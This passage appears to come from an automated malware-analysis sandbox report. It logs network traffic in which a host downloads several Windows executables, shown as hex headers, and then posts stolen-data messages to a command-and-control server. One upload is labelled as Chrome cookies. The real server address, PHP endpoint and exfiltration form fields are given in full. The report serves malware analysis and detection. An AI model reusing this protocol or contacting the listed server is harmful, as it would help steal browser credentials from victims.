00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 19:35:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 19:35:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 19:35:24 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 19:35:25 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAKKFHCFIECAAAKEGCFHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 39 38 44 44 35 37 37 32 36 43 31 31 38 30 30 38 36 39 32 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 2d 2d 0d 0a Data Ascii: ------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="hwid"B998DD57726C118008692------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="build"tale------CAAKKFHCFIECAAAKEGCF--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEGDBGDBFIJKECBAKFBHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 61 38 33 61 39 38 62 61 30 31 31 61 64 35 61 38 30 31 32 39 62 63 39 31 63 66 36 32 38 37 33 39 31 61 63 30 36 33 61 66 66 32 65 39 38 32 65 36 64 63 33 37 39 34 30 38 37 66 66 61 36 62 30 39 37 36 64 66 61 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 2d 2d 0d 0a Data Ascii: ------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="token"d0a83a98ba011ad5a80129bc91cf6287391ac063aff2e982e6dc3794087ffa6b0976dfa1------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="message"browsers------IJEGDBGDBFIJKECBAKFB--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFBFHDBKJEGHJJJKFIIJHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 61 38 33 61 39 38 62 61 30 31 31 61 64 35 61 38 30 31 32 39 62 63 39 31 63 66 36 32 38 37 33 39 31 61 63 30 36 33 61 66 66 32 65 39 38 32 65 36 64 63 33 37 39 34 30 38 37 66 66 61 36 62 30 39 37 36 64 66 61 31 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="token"d0a83a98ba011ad5a80129bc91cf6287391ac063aff2e982e6dc3794087ffa6b0976dfa1------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="message"plugins------AFBFHDBKJEGHJJJKFIIJ--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKKEGCAAECAAAKFBGIEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 61 38 33 61 39 38 62 61 30 31 31 61 64 35 61 38 30 31 32 39 62 63 39 31 63 66 36 32 38 37 33 39 31 61 63 30 36 33 61 66 66 32 65 39 38 32 65 36 64 63 33 37 39 34 30 38 37 66 66 61 36 62 30 39 37 36 64 66 61 31 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 2d 2d 0d 0a Data Ascii: ------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="token"d0a83a98ba011ad5a80129bc91cf6287391ac063aff2e982e6dc3794087ffa6b0976dfa1------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="message"fplugins------BAKKEGCAAECAAAKFBGIE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHJEBGIEBFIJKEBFBFHIHost: 185.215.113.206Content-Length: 6555Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIJDHIDBGHJKECBFIIDHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 61 38 33 61 39 38 62 61 30 31 31 61 64 35 61 38 30 31 32 39 62 63 39 31 63 66 36 32 38 37 33 39 31 61 63 30 36 33 61 66 66 32 65 39 38 32 65 36 64 63 33 37 39 34 30 38 37 66 66 61 36 62 30 39 37 36 64 66 61 31 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 2d 2d 0d 0a Data Ascii: ------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="token"d0a83a98ba011ad5a80129bc91cf6287391ac063aff2e982e6dc3794087ffa6b0976dfa1------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------DHIJDHIDBGHJKECBFIID--
